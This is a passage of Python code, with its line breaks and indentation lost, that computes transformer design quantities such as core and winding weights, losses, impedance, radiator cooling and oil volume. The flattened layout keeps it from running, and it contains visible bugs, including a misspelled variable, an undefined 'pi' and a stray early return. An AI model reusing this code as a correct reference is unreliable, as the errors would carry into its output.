get_window_heightbig=get_window_height1 get_window_heightsmall=get_window_height2 else: get_window_heightbig=get_window_height2 get_window_heightsmall=get_window_height1 elif(core['subtype']=='Amorphous' and core['structure']=='Shell'): get_window_height=math.ceil(hv_axial_pack+cca['coilyokegap']+cca['coilyokegap2']+13) elif(core['subtype']=='Amorphous' and core['structure']=='Core'): get_window_height1=math.ceil(hv_axial_pack+cca['coilyokegap']+cca['coilyokegap2']+13) get_window_height2=math.ceil(get_window_height1+(get_stack_thk*1.3)+2) if(get_window_height1>get_window_height2): get_window_heightbig=get_window_height1 get_window_heightsmall=get_window_height2 else: get_window_heightbig=get_window_height2 get_window_heightsmall=get_window_height1 if(core['structure']=='Shell'): if(get_window_height<check['minleglnth'] or get_window_height>check['maxleglnth']): output['get_window_height']=get_window_height # print'wind ht' return 0 else: if(get_window_heightbig<check['minleglnth'] or get_window_heightbig>check['maxleglnth']): output['get_window_heightbig']=get_window_heightbig output['get_window_heightsmall']=get_window_heightsmall # print 'wind ht' return 0 #noiselvl if(core['structure']=='Shell'): noiselvldata=get_window_height else: noiselvldata=get_window_heightbig noiselvl=round((39.2+(10*(math.log10(noiselvldata/100)))+(20*(math.log10((1.35*act_flx_d*2)-2.51)))),2) if(noiselvl<check['minnoise'] or noiselvl>check['maxnoise']): # print 'noise' return 0 #tank_height if(core['structure']=='Shell'): tank_height_data=get_window_height else: tank_height_data=get_window_heightbig if(tank['type']=='sealed'): tank_height=round(tank['ccabot']+(cca['clampthk']*2)+10+tank_height_data+((1+tank_height_ef)*get_stack_thk)+tank['oillvl']) else: tank_height=round(tank['ccabot']+(cca['clampthk']*2)+10+tank_height_data+((1+tank_height_ef)*get_stack_thk)+tank['ccatop']) output['tank_height']=tank_height #big_loop_mlt if(core['subtype']=='CRGO' and core['structure']=='Shell'): big_loop_mlt=round((2*(get_window_height+5.6)+(2*get_big_loop_ww)+(1.7*get_stack_thk)),2) elif(core['subtype']=='CRGO' and core['structure']=='Core'): big_loop_mlt=round((2*(get_window_height2+5.6)+(2*get_big_loop_ww)+(1.7*get_stack_thk)),2) elif(core['subtype']=='Amorphous' and core['structure']=='Shell'): big_loop_mlt=round((2*(get_window_height)+(2*get_big_loop_ww)-(52)+(2*math.pi*(6.5+get_stack_thk*0.25*1.1))+loop_mlt_ef),2) elif(core['subtype']=='Amorphous' and core['structure']=='Core'): big_loop_mlt=round((2*(get_window_height2)+(2*get_big_loop_ww)-(52)+(2*math.pi*(6.5+get_stack_thk*0.25*1.1))+loop_mlt_ef),2) output['big_loop_mlt']=big_loop_mlt #small_loop_mlt if(core['subtype']=='CRGO' and core['structure']=='Shell'): small_loop_mlt=round((2*(get_window_height+5.6)+(2*get_small_loop_ww)+(1.7*get_stack_thk)),2) elif(core['subtype']=='CRGO' and core['structure']=='Core'): small_loop_mlt=round((2*(get_window_height1+5.6)+(2*get_small_loop_ww)+(1.7*get_stack_thk)),2) elif(core['subtype']=='Amorphous' and core['structure']=='Shell'): small_loop_mlt=round((2*(get_window_height)+(2*get_small_loop_ww)-(52)+(2*pi*(6.5+get_stack_thk*0.25*1.1))+loop_mlt_ef),2) elif(core['subtype']=='Amorphous' and core['structure']=='Core'): small_loop_mlt=round((2*(get_window_height1)+(2*get_small_loop_ww)-(52)+(2*math.pi*(6.5+get_stack_thk*0.25*1.1))+loop_mlt_ef),2) output['small_loop_mlt']=small_loop_mlt #get_core_area get_core_area=round((test['cmain']*get_stack_thk*get_core_area_ef*0.01),3) output['get_core_area']=get_core_area if(get_core_area<check['mincorearea'] or get_core_area>check['maxcorearea']): # print 'core area' return 0 #loop_wt big_loop_wt=round(((big_loop_mlt*loop_wt_ef*get_core_area)/10000),2) small_loop_wt=round(((small_loop_mlt*loop_wt_ef*get_core_area)/10000),2) output['big_loop_wt']=big_loop_wt output['small_loop_wt']=small_loop_wt #hv_cond_area if(hv['condtype']=='round'): hv_cond_area=round((math.pi*test['hvwmain']*test['hvwmain']/4),3) elif(hv['condtype']=='foil'): hv_cond_area=round((test['hvwmain']*test['hvkmain']*hv['radials']),3) else: if(test['hvkmain']>2.99): hv_cond_area_ef=0.9 else: hv_cond_area_ef=0.5 hv_cond_area=round((((test['hvwmain']*test['hvkmain'])-hv_cond_area_ef)*hv['flats']*hv['radials']),3) output['hv_cond_area']=hv_cond_area if(hv_cond_area<check['mincondhv'] or hv_cond_area>check['maxcondhv']): # print 'hv cond' return 0 #lv_cond_area if(lv['condtype']=='round'): lv_cond_area=round((math.pi*test['lvwmain']*test['lvwmain']/4),3) elif(lv['condtype']=='foil'): lv_cond_area=round((test['lvwmain']*test['lvkmain']*lv['radials']),3) else: if(test['lvkmain']>2.99): lv_cond_area_ef=0.9 else: lv_cond_area_ef=0.5 lv_cond_area=round((((test['lvwmain']*test['lvkmain'])-lv_cond_area_ef)*lv['flats']*lv['radials']),3) output['lv_cond_area']=lv_cond_area if(lv_cond_area<check['mincondlv'] or lv_cond_area>check['maxcondlv']): # print 'lv cond' return 0 #lv_cond_wt lv_cond_wt=round((lv_lmt*test['lvtmain']*lv_cond_wt_ef*lv_cond_area*lv_cond_wt_pf/1000000),2) output['lv_cond_wt']=lv_cond_wt #hv_cond_wt hv_cond_wt=round(((hv_lmt*get_hvturns*hv_cond_wt_ef*hv_cond_area*hv_cond_wt_pf)/1000000),2) output['hv_cond_wt']=hv_cond_wt #total_weight total_weight=big_loop_wt+small_loop_wt output['total_weight']=total_weight #top_core_clamp if(core['structure']=='Shell'): tcclength=round((2*(get_big_loop_ww+get_small_loop_ww))+(4*get_stack_thk)+34) tccwidth=round(get_hv_od_a+get_stack_thk+15) else: tcclength=round(get_big_loop_ww+(get_stack_thk)+22) tccwidth=round(get_hv_od_a+(2*get_stack_thk)+15) top_core_clamp=round(((tcclength*tccwidth*cca['clampthk']*7.85)/1000000),3) output['top_core_clamp']=top_core_clamp #bot_core_clamp if(core['structure']=='Shell'): bcclength=round((2*(get_big_loop_ww+get_small_loop_ww))+(4*get_stack_thk)+34) bccwidth=round(get_hv_od_a+(bot_core_clamp_kf*get_stack_thk)+15) else: bcclength=round(get_big_loop_ww+(get_stack_thk)+22) bccwidth=round(get_hv_od_a+(2*bot_core_clamp_kf*get_stack_thk)+15) bot_core_clamp=round(((bcclength*bccwidth*cca['clampthk']*7.85)/1000000),3) output['bot_core_clamp']=bot_core_clamp #tierod if(core['structure']=='Shell'): tieroddata=get_window_height else: tieroddata=get_window_heightsmall tierodlength=tieroddata+20+(cca['clampthk']*2)+60; tierod=round((((math.pi)/4)*cca['tierods']*cca['tierods']*7.85*8*tierodlength/1000000),3) output['tierod']=tierod #covered_wt_lv if(lv['condtype']=='round'): lvcoveredthk=test['lvkmain']+lv['coveringthk'] covered_wt_lv=round((((((lvcoveredthk*lvcoveredthk)-(test['lvkmain']*test['lvkmain']))*covered_wt_lv_ef1/((test['lvkmain']*test['lvkmain'])*covered_wt_lv_ef2))*(lv_cond_wt))+lv_cond_wt),2) else: lvcoverwith=test['lvwmain']+lv['coveringthk'] lvcoverthk=test['lvkmain']+lv['coveringthk'] if(lvcoverthk>2.99): covered_wt_lv_ef=0.9 else: covered_wt_lv_ef=0.5 lvcoverarea=((lvcoverthk*lvcoverwith)-covered_wt_lv_ef)*lv['flats']*lv['radials'] covered_wt_lv=round(((((lvcoverarea-lv_cond_area)*covered_wt_lv_ef1/(lv_cond_area*covered_wt_lv_ef2))*(lv_cond_wt))+lv_cond_wt),2) output['covered_wt_lv']=covered_wt_lv #covered_wt_hv if(hv['condtype']=='round'): hvcoveredthk=test['hvkmain']+hv['coveringthk'] covered_wt_hv=round((((((hvcoveredthk*hvcoveredthk)-(test['hvkmain']*test['hvkmain']))*covered_wt_hv_ef1/((test['hvkmain']*test['hvkmain'])*covered_wt_hv_ef2))*(hv_cond_wt))+hv_cond_wt),2) else: hvcoverwith=test['hvwmain']+hv['coveringthk'] hvcoverthk=test['hvkmain']+hv['coveringthk'] if(hvcoverthk>2.99): covered_wt_hv_ef=0.9 else: covered_wt_hv_ef=0.5 hvcoverarea=((hvcoverthk*hvcoverwith)-covered_wt_hv_ef)*hv['flats']*hv['radials'] covered_wt_hv=round(((((hvcoverarea-hv_cond_area)*covered_wt_hv_ef1/(hv_cond_area*covered_wt_hv_ef2))*(hv_cond_wt))+hv_cond_wt),2) output['covered_wt_hv']=covered_wt_hv #phase_hv if(hv['connectiontype']=='star' or hv['connectiontype']=='zigzag'): phase_hv=round(((basic['rating']*1000)/(math.sqrt(3)*basic['hvvoltage'])),4) elif(hv['connectiontype']=='delta'): phase_hv=round(((basic['rating']*1000)/(3*basic['hvvoltage'])),4) elif(hv['connectiontype']=='series' or hv['connectiontype']=='parallel'): phase_hv=round(((basic['rating']*1000)/(basic['hvvoltage'])),4) output['phase_hv']=phase_hv #phase_lv if(lv['connectiontype']=='star' or lv['connectiontype']=='zigzag'): phase_lv=round(((basic['rating']*1000)/(math.sqrt(3)*basic['lvvoltage'])),4) elif(lv['connectiontype']=='delta'): phase_lv=round(((basic['rating']*1000)/(3*basic['lvvoltage'])),4) elif(lv['connectiontype']=='series' or lv['connectiontype']=='parallel'): phase_lv=round(((basic['rating']*1000)/(basic['lvvoltage'])),4) output['phase_lv']=phase_lv ampturns=round(((math.fabs(((test['lvtmain']*phase_lv/lv_axial_elect)-(get_hvturns*phase_hv/hv_axial_elect))/(test['lvtmain']*phase_lv/lv_axial_elect)))*100),2) if(ampturns<check['minampturns'] or ampturns>check['maxampturns']): # print 'amp turns' return 0 #line_hv if(hv['connectiontype']=='series' or hv['connectiontype']=='parallel'): line_hv=round(((basic['rating']*1000)/(basic['hvvoltage'])),4) else: line_hv=round(((basic['rating']*1000)/(math.sqrt(3)*basic['hvvoltage'])),4) output['line_hv']=line_hv #line_lv if(lv['connectiontype']=='series' or lv['connectiontype']=='parallel'): line_lv=round(((basic['rating']*1000)/(basic['lvvoltage'])),4) else: line_lv=round(((basic['rating']*1000)/(math.sqrt(3)*basic['lvvoltage'])),4) output['line_lv']=line_lv #get_lv_hv_mlt get_lv_hv_mlt=round((2*(get_mandril_a+get_mandril_b-(4*hv_lmt_ef))+2*math.pi*(hv_lmt_ef+cca['corelvgap']+lv_rd+test['lvhmain']*0.5)+4*(lv['nofnb']*(lv['fnbthk']+0.125))),3) output['get_lv_hv_mlt']=get_lv_hv_mlt #lv_fnb_perimeter lv_fnb_perimeter=get_mandril_b+math.pi*0.5*(lv_lmt_ef+cca['corelvgap']+(lv_rd*0.5)) output['lv_fnb_perimeter']=lv_fnb_perimeter #lv_id_perimeter lv_id_perimeter=round((2*(get_mandril_a+get_mandril_b-(4*lv_lmt_ef))+2*math.pi*(lv_lmt_ef+cca['corelvgap'])),3) output['lv_id_perimeter']=lv_id_perimeter #hv_od_perimeter hv_od_perimeter=round((2*(get_mandril_a+get_mandril_b-(4*hv_lmt_ef))+2*math.pi*(hv_lmt_ef+cca['corelvgap']+lv_rd+test['lvhmain']+(hv_rd))+4*(lv['nofnb']*(lv['fnbthk']+0.125))+2*(hv['nofnb']*(hv['fnbthk']+0.25))),3) output['hv_od_perimeter']=hv_od_perimeter #lv_od_perimeter lv_od_perimeter=round((2*(get_mandril_a+get_mandril_b-(4*lv_lmt_ef))+2*math.pi*(lv_lmt_ef+cca['corelvgap']+(lv_rd))+2*(lv['nofnb']*(lv['fnbthk']+0.125))),3) output['lv_od_perimeter']=lv_od_perimeter #hv_id_perimeter hv_id_perimeter=round((2*(get_mandril_a+get_mandril_b-(4*hv_lmt_ef))+2*math.pi*(hv_lmt_ef+cca['corelvgap']+lv_rd+test['lvhmain'])+4*(lv['nofnb']*(lv['fnbthk']+0.125))+2*(hv['nofnb']*(hv['fnbthk']+0.25))),3) output['hv_id_perimeter']=hv_id_perimeter #lv_inner_duct_cooling_area lv_no_full_duct_runners=lv_lmt/30 lv_no_fnb_duct_runners=lv_fnb_perimeter/30 lv_full_duct_area=(lv_lmt-(10*lv_no_full_duct_runners))*lv_axial_phy*2/1000000*lv['nofull'] lv_fnb_duct_area=(lv_fnb_perimeter-(10*lv_no_fnb_duct_runners))*lv_axial_phy*4/1000000*lv['nofnb'] lv_inner_duct_cooling_area=lv_full_duct_area+lv_fnb_duct_area output['lv_inner_duct_cooling_area']=lv_inner_duct_cooling_area #lv_outer_duct_cooling_area lv_no_full_duct_runners_inside=lv_id_perimeter/30 lv_no_full_duct_runners_outside=lv_od_perimeter/30 lv_full_duct_area_inside=(lv_id_perimeter-10*lv_no_full_duct_runners_inside)*lv_axial_phy/1000000 lv_full_duct_area_outside=(lv_od_perimeter-10*lv_no_full_duct_runners_outside)*lv_axial_phy/1000000 lv_outer_duct_cooling_area=0; if(lv['coreduct']==True): lv_outer_duct_cooling_area=lv_outer_duct_cooling_area+lv_full_duct_area_inside if(lv['lvhvod']==True): lv_outer_duct_cooling_area=lv_outer_duct_cooling_area+lv_full_duct_area_outside output['lv_outer_duct_cooling_area']=lv_outer_duct_cooling_area #lv_total_duct_cooling_area if(basic['phases']=='3'): lv_total_duct_cooling_area_ef=3 else: if(core['structure']=='Core'): lv_total_duct_cooling_area_ef=2 else: lv_total_duct_cooling_area_ef=1 lv_total_duct_cooling_area=(lv_inner_duct_cooling_area+lv_outer_duct_cooling_area)*lv_total_duct_cooling_area_ef output['lv_total_duct_cooling_area']=lv_total_duct_cooling_area #hv_fnb_perimeter hv_fnb_perimeter=get_mandril_b+math.pi*0.5*(hv_lmt_ef+cca['corelvgap']+lv_rd+test['lvhmain']+(hv_rd*0.5)) output['hv_fnb_perimeter']=hv_fnb_perimeter #hv_inner_duct_cooling_area hv_no_full_duct_runners=hv_lmt/30 hv_no_fnb_duct_runners=hv_fnb_perimeter/30 hv_full_duct_area=(hv_lmt-(10*hv_no_full_duct_runners))*hv_axial_phy*2/1000000*hv['nofull'] hv_fnb_duct_area=(hv_fnb_perimeter-(10*hv_no_fnb_duct_runners))*hv_axial_phy*4/1000000*hv['nofnb'] hv_inner_duct_cooling_area=hv_full_duct_area+hv_fnb_duct_area output['hv_inner_duct_cooling_area']=hv_inner_duct_cooling_area #hv_outer_duct_cooling_area hv_no_full_duct_runners_inside=hv_id_perimeter/30 hv_no_full_duct_runners_outside=hv_od_perimeter/30 hv_full_duct_area_inside=(hv_id_perimeter-10*hv_no_full_duct_runners_inside)*hv_axial_phy/1000000 hv_full_duct_area_outside=(hv_od_perimeter-10*hv_no_full_duct_runners_outside)*hv_axial_phy/1000000 if(hv['lvhvid']==True): hv_outer_duct_cooling_area=hv_full_duct_area_inside+hv_full_duct_area_outside else: rhv_outer_duct_cooling_area=hv_full_duct_area_outside output['hv_outer_duct_cooling_area']=hv_outer_duct_cooling_area #hv_total_duct_cooling_area if(basic['phases']=='3'): hv_total_duct_cooling_area_ef=3 else: if(core['structure']=='Core'): hv_total_duct_cooling_area_ef=2 else: hv_total_duct_cooling_area_ef=1 hv_total_duct_cooling_area=(hv_inner_duct_cooling_area+hv_outer_duct_cooling_area)*hv_total_duct_cooling_area_ef output['hv_total_duct_cooling_area']=hv_total_duct_cooling_area #lv_resi_ph lv_resi_ph=round((lv_resi_ph_ef*lv_lmt*test['lvtmain']/(100000*lv_cond_area)),6) output['lv_resi_ph']=lv_resi_ph #hv_resi_ph hv_resi_ph=round((hv_resi_ph_ef*hv_lmt*get_hvturns/(100000*hv_cond_area)),6) output['hv_resi_ph']=hv_resi_ph #lv_cd lv_cd=round((phase_lv/lv_cond_area),4) output['lv_cd']=lv_cd if(lv_cd<check['mincdlv'] or lv_cd>check['maxcdlv']): # print 'lvcd' return 0 #hv_cd hv_cd=round((phase_hv/hv_cond_area),4) output['hv_cd']=hv_cd if(hv_cd<check['mincdhv'] or hv_cd>check['maxcdhv']): # print 'hvcd' return 0 #lv_l2r_loss lv_l2r_loss=round(l2r_loss_pf*phase_lv*phase_lv*lv_resi_ph*2)/2 output['lv_l2r_loss']=lv_l2r_loss #hv_l2r_loss hv_l2r_loss=round(l2r_loss_pf*phase_hv*phase_hv*hv_resi_ph*2)/2 output['hv_l2r_loss']=hv_l2r_loss #bfactor_eddy bfactor_eddy=phase_lv*test['lvtmain']*1.78/(1000*(lv_axial_elect+hv_axial_elect)*0.5) output['bfactor_eddy']=bfactor_eddy #lv_eddy lv_eddy=round((lv_eddy_ef1*lv_eddy_ef*basic['frequency']*basic['frequency']*bfactor_eddy*bfactor_eddy*test['lvkmain']*test['lvkmain']*lv_cond_wt/1000),1) output['lv_eddy']=lv_eddy #hv_eddy hv_eddy=round((hv_eddy_ef1*hv_eddy_ef*basic['frequency']*basic['frequency']*bfactor_eddy*bfactor_eddy*test['hvkmain']*test['hvkmain']*hv_cond_wt/1000),1) output['hv_eddy']=hv_eddy #lv_bushing if(basic['rating']<=400): lv_bushing_ef=1 else: lv_bushing_ef=0.5 lv_bushing=round((math.pow(line_lv,1.25)*0.045*lv_bushing_ef),1) output['lv_bushing']=lv_bushing #lead_wire_loss_lv lead_wire_loss_lv=round((0.02*lv_l2r_loss),2) output['lead_wire_loss_lv']=lead_wire_loss_lv #lv_misc_loss lv_misc_loss=round(((lv_l2r_loss+lv_bushing+lead_wire_loss_lv+lv_eddy)*1.5/100),1) output['lv_misc_loss']=lv_misc_loss #hv_bushing hv_bushing=round((math.pow(line_hv,1.25)*0.045),1) output['hv_bushing']=hv_bushing #lead_wire_loss_hv lead_wire_loss_hv=round((0.005*hv_l2r_loss),1) output['lead_wire_loss_hv']=lead_wire_loss_hv #hv_misc_loss hv_misc_loss=round(((hv_l2r_loss+hv_bushing+lead_wire_loss_hv+hv_eddy)*1.5/100),1) output['hv_misc_loss']=hv_misc_loss #lv_stray_loss lv_stray_loss=round((lv_eddy+lv_bushing+lead_wire_loss_lv+lv_misc_loss),1) output['lv_stray_loss']=lv_stray_loss #hv_stray_loss hv_stray_loss=round((hv_eddy+hv_bushing+lead_wire_loss_hv+hv_misc_loss),1) output['hv_stray_loss']=hv_stray_loss #total_stray_loss total_stray_loss=round((lv_stray_loss+hv_stray_loss),2) output['total_stray_loss']=total_stray_loss #lv_watt_dissipation lv_watt_dissipation=round(((lv_l2r_loss+lv_eddy)*0.01/lv_total_duct_cooling_area),3) output['lv_watt_dissipation']=lv_watt_dissipation #hv_watt_dissipation hv_watt_dissipation=round(((hv_l2r_loss+hv_eddy)*0.01/hv_total_duct_cooling_area),3) output['hv_watt_dissipation']=hv_watt_dissipation #lv_gradient lv_gradient=math.ceil(((0.0016*lv_axial_phy)+1.78)*math.pow(lv_watt_dissipation,0.8)*1.15*2)/2 output['lv_gradient']=lv_gradient if(lv_gradient<check['minlvgradient'] or lv_gradient>check['maxlvgradient']): # print 'lv grad' return 0 #hv_gradient hv_gradient=math.ceil(((0.0016*hv_axial_phy)+1.78)*math.pow(hv_watt_dissipation,0.8)*1.15*2)/2 output['hv_gradient']=hv_gradient if(hv_gradient<check['minhvgradient'] or hv_gradient>check['maxhvgradient']): # print 'hv grad' return 0 #no_load_losses no_load_losses=round((total_weight*core['factor']*watt_kg),2) cal_no_load_losses=other['noload1']*(100-other['noload2'])/100 if(cal_no_load_losses<=no_load_losses): no_load_check=False # print no_load_losses # print cal_no_load_losses # print 'nll' return 0 else: no_load_check=True #load_losses if(other['stray']==0): load_losses=lv_l2r_loss+hv_l2r_loss+lv_stray_loss+hv_stray_loss else: load_losses=lv_l2r_loss+hv_l2r_loss+other['stray'] cal_load_losses=other['fullload1']*(100-other['fullload2'])/100 if(cal_load_losses<=load_losses): load_check=False # print 'll' return 0 else: load_check=True #efficiency efficiency=round((1-((no_load_losses+(load_losses*(check['maxloadfactor']/100)*(check['maxloadfactor']/100)))/((basic['rating']*check['maxloadfactor']*check['maxpf']*10)+(no_load_losses+(load_losses*(check['maxloadfactor']/100)*(check['maxloadfactor']/100)))))),2) if(efficiency<check['minefficiency'] or efficiency>check['maxefficiency']): # print 'eff' return 0 #percentage_r percentage_r=round((load_losses*1000/(basic['rating']*10000)),3) output['percentage_r']=percentage_r #percentage_x_delta percentage_x_delta=(lv_lmt*lv_rd/(3*lv_axial_elect))+(hv_lmt*hv_rd/(3*hv_axial_elect))+(get_lv_hv_mlt*test['lvhmain']/(0.5*(lv_axial_elect+hv_axial_elect))) #percentage_x_k percentage_x_k=1-((lv_rd+test['lvhmain']+hv_rd)/(math.pi*0.5*(lv_axial_elect+hv_axial_elect))) #percentage_x percentage_x=round((8*math.pi*math.pi*basic['frequency']*phase_lv*test['lvtmain']*test['lvtmain']*percentage_x_k*percentage_x_delta*0.00000001/lv['phvolt']),2) output['percentage_x']=percentage_x #percentage_z percentage_z=round((math.sqrt((percentage_x*percentage_x)+(percentage_r*percentage_r))),3) if(percentage_z<check['minimpedance'] or percentage_z>check['maximpedance']): # print 'imp fail' return 0 #lvcost lvcost=round((costing['lv']*covered_wt_lv*1.02),2) output['lvcost']=lvcost #hvcost hvcost=round((costing['hv']*covered_wt_hv*1.01),2) output['hvcost']=hvcost #corecost corecost=round((costing['core']*total_weight*1.01),2) output['corecost']=corecost #lvqty lvqty=round((covered_wt_lv*1.02),2) output['lvqty']=lvqty #hvqty hvqty=round((covered_wt_hv*1.01),2) output['hvqty']=hvqty #coreqty coreqty=round((total_weight*1.01),2) output['coreqty']=coreqty #displacement displacement=round(((total_weight/displacement_ef)+(covered_wt_lv/displacement_ef1)+(covered_wt_hv/displacement_ef2)+(cca['insuwt']/1.1)+((top_core_clamp+bot_core_clamp+tierod)/7.85)),3) output['displacement']=displacement #oil_main_tank oil_main_tank=round(((tank_length*tank_breadth*tank_height)/1000000),2) output['oil_main_tank']=oil_main_tank #topoilrise ccal=(other['windrise']-(other['oilrise'])*0.8) if(ccal>lv_gradient and ccal>hv_gradient): topoilrise=other['oilrise'] else: if(lv_gradient>hv_gradient): topoilrise=(other['windrise']-lv_gradient)/0.8 else: topoilrise=(other['windrise']-hv_gradient)/0.8 output['topoilrise']=topoilrise #meanoilrise meanoilrise=topoilrise*0.8 output['meanoilrise']=meanoilrise #tank_diss_upto_oil if(cooling['oildiss']==0): tank_diss_upto_oil=((tank_length*tdef1)+(tank_breadth*tdef2))*tank_height*meanoilrise*11/1000000 else: return ((tdef1*tank_length)+(tdef2*tank_breadth))*tank_height*cooling['oildiss']/1000000 output['tank_diss_upto_oil']=tank_diss_upto_oil #tank_height_m if(tank['type']=='sealed'): if(tank['tanklvl']=='yes'): tank_height_m=math.ceil((tank_height+tank['airlvl'])/5)*5 else: tank_height_m=math.ceil((tank_height+((oil_main_tank-displacement)*tank['airlvl']*10000/(tank_length*tank_breadth)))/5)*5 else: tank_height_m=math.ceil((tank_height)/5)*5 output['tank_height_m']=tank_height_m #tank_diss_above_oil if(cooling['airdiss']==0): tank_diss_above_oil=((tdef1*tank_length)+(tdef2*tank_breadth))*(tank_height_m-tank_height)*meanoilrise*5.5/1000000 else: tank_diss_above_oil=((tdef1*tank_length)+(tdef2*tank_breadth))*(tank_height_m-tank_height)*cooling['airdiss']/1000000 output['tank_diss_above_oil']=tank_diss_above_oil #coolingreq if(cooling['cals']=='cal'): if((no_load_losses+load_losses)>(tank_diss_upto_oil+tank_diss_above_oil)): coolingreq=(no_load_losses+load_losses-(tank_diss_upto_oil+tank_diss_above_oil))*(1+(cooling['extra']/100)) else: coolingreq=0 else: if((other['noload1']+other['fullload1'])>(tank_diss_upto_oil+tank_diss_above_oil)): coolingreq=(other['noload1']+other['fullload1']-(tank_diss_upto_oil+tank_diss_above_oil))*(1+(cooling['extra']/100)) else: coolingreq=0 output['coolingreq']=coolingreq #oilincooling if(coolingreq==0): oilincooling=0 else: if(cooling['type']=='Tube'): if(coolingreq==0): tubelength=0 else: tubelength=round((coolingreq/(0.119*11*meanoilrise)),2) oilincooling=round(tubelength*0.95*100)/100 elif(cooling['type']=='PressedRadiator'): #radbot if(cooling['auto']=='true'): if(core['subtype']=="CRGO"): radbot_cf=0 else: radbot_cf=0.3 if(core['structure']=='Shell'): radbot_data=get_window_height radbot_sf=1 else: radbot_sf=2 radbot_data=get_window_heightsmall radbot_v1=(tank['ccabot']+(get_stack_thk*0.5*(radbot_sf+radbot_cf))+cca['clampthk']+5) if(radbot_v1<=65): radbot=65 else: radbot=radbot_v1 else: radbot=cooling['radbottank'] #radiatorht radiatorht=(tank_height-radbot-75) #radiatorhtf radiatorhtf=int(math.floor(radiatorht/100)*100) #radiator_oil radiator_oil=float(radiator_table[str(cooling['radwidth'])][str(radiatorhtf)]['oil_sec']) #radiator_wt radiator_wt=float(radiator_table[str(cooling['radwidth'])][str(radiatorhtf)]['wt_sec']) #radiator_area radiator_area=float(radiator_table[str(cooling['radwidth'])][str(radiatorhtf)]['sarea_sec']) #sfr if(topoilrise<=35): sfr_f0=35 sfr_f1=40 elif(topoilrise<=40): sfr_f0=35 sfr_f1=40 elif(topoilrise<=45): sfr_f0=40 sfr_f1=45 elif(topoilrise<=50): sfr_f0=45 sfr_f1=50 elif(topoilrise<=55): sfr_f0=50 sfr_f1=55 elif(topoilrise<=60): sfr_f0=55 sfr_f1=60 else: sfr_f0=55 sfr_f1=60 sfr_valf0=int(radiator_table[str(cooling['radwidth'])][str(radiatorhtf)]['deg'+str(sfr_f0)]) sfr_valf1=int(radiator_table[str(cooling['radwidth'])][str(radiatorhtf)]['deg'+str(sfr_f1)]) sfr=sfr_valf1-((sfr_valf1-sfr_valf0)/(sfr_f1-sfr_f0))*(sfr_f1-topoilrise) #vfr if(core['coretype']=='wound'): if(core['subtype']=="CRGO"): vfr_cf=0 else: vfr_cf=0.3; if(core['structure']=='Shell'): vfr_data=get_window_height vfr_sf=1 else: vfr_sf=2 vfr_data=get_window_heightsmall vfr_vval=(radbot+(radiatorht-radiatorhtf)+(radiatorhtf*0.5))-(tank['ccabot']+(get_stack_thk*0.5*(vfr_sf+vfr_cf))+(vfr_data*0.5)+(cca['clampthk']+5)) vfr_vval1=int(math.floor(vfr_vval/100)*100) vfr_vval2=int(math.ceil(vfr_vval/100)*100) if(vfr_vval<0): vfr=0.8 else: vfr=float(vertical_table[str(vfr_vval2)])-((float(vertical_table[str(vfr_vval2)])-float(vertical_table[str(vfr_vval1)]))/(vfr_vval2-vfr_vval1))*(vfr_vval2-vfr_vval) #radhoriz if(cooling['auto']): if(cooling['norads']<=3): radhoriz=(tank_length-130)/cooling['norads'] else: if(cooling['norads']%2==0): radhoriz=(tank_length-130)/cooling['norads']*2 else: radhoriz=(((tank_length-130)/math.ceil(cooling['norads']*0.5))+((tank_length-130)/math.floor(cooling['norads']*0.5)))*0.5 else: radhoriz=cooling['radhoriz'] #hfr hfr_i=0 hfr_j=0 hfr_l=0 hfr_m=0 hfr_k=0 for key,value in horizontal_table[str(cooling['radwidth'])].iteritems(): if(radhoriz>=Decimal(key)): hfr_i=Decimal(value) hfr_l=Decimal(key) elif(radhoriz<Decimal(key)): if(hfr_k==0): hfr_j=Decimal(value) hfr_m=Decimal(key) hfr_k=1 hfr=float(hfr_j)-((float(hfr_j)-float(hfr_i))/(float(hfr_m)-float(hfr_l)))*(float(hfr_m)-float(radhoriz)) #no_elements if(coolingreq==0): no_elements=0 else: no_elements=coolingreq/(sfr*vfr*hfr*cooling['norads']) #actual_elements ace=int(math.ceil(no_elements)) if(ace<=2): actual_elements=math.ceil(no_elements/float(fins_table['2'])) else: actual_elements=math.ceil(no_elements/float(fins_table[str(ace)])) oilincooling=round(actual_elements*cooling['norads']*radiator_oil*100)/100 else: #corrgheight if(cooling['auto']): corrgheight=math.floor((tank_height-100)/50)*50 else: corrgheight=cooling['corrght'] #corrgarea if(coolingreq==0): corrgarea=0 else: corrgfinnol=((2-tdef1)*math.ceil((tank_length-100)/cooling['corrgfindist'])) corrgfingapl=corrgfinnol-(2-tdef1) corrgfinnow=(2-tdef2)*math.ceil((tank_breadth-100)/cooling['corrgfindist']) corrgfingapw=corrgfinnow-(2-tdef2) if(cooling['auto']=='true'): corrgfins=corrgfinnol+corrgfinnow corrggaps=corrgfingapl+corrgfingapw else: corrgfins=cooling['corrgfinsno'] corrggaps=cooling['corrgfinsno']-(4-int(tdef1)-int(tdef2)) gap_surf_area=corrggaps*cooling['corrgfindist']*corrgheight/1000000 corrgarea=round(((coolingreq/(topoilrise*cooling['corrgwms']))-gap_surf_area),3) #corrgwm2 corrgwm2=round((coolingreq/(topoilrise*float(cooling['corrgwms']))),2) #corrgdepth if(cooling['auto']=='true'): corrgdepth=math.ceil((corrgarea*1000000/(2*corrgfins*corrgheight))/5)*5 else: corrgdepth=cooling['corrgdepth'] oilincooling=(8*corrgheight*corrgdepth*corrgfins/1000000) output['oilincooling']=oilincooling #conservatoroil if(tank['type']=='conservator'): conservatoroil=round(((oil_main_tank-displacement+oilincooling+tank['lvpocket']+tank['hvpocket'])*3)/100,2) else: conservatoroil=0 output['conservatoroil']=conservatoroil #totoil totoil=round(((oil_main_tank-displacement+oilincooling+tank['lvpocket']+tank['hvpocket']+conservatoroil)*1.03),2) output['totoil']=totoil #tank_height_m if(tank['type']=='sealed'): if(tank['tanklvl']=='yes'): tank_height_m=math.ceil((tank_height+tank['airlvl'])/5)*5 else: tank_height_m=math.ceil((tank_height+((totoil)*tank['airlvl']*10000/(tank_length*tank_breadth)))/5)*5 else: tank_height_m=math.ceil((tank_height)/5)*5 output['tank_height_m']=tank_height_m if(tank_height_m<check['mintankheight'] or tank_height_m>check['maxtankheight']): # print 'tank ht' return 0 #tank_diss_above_oil if(cooling['airdiss']==0): tank_diss_above_oil=((tdef1*tank_length)+(tdef2*tank_breadth))*(tank_height_m-tank_height)*meanoilrise*5.5/1000000 else: tank_diss_above_oil=((tdef1*tank_length)+(tdef2*tank_breadth))*(tank_height_m-tank_height)*cooling['airdiss']/1000000 output['tank_diss_above_oil']=tank_diss_above_oil #coolingreq 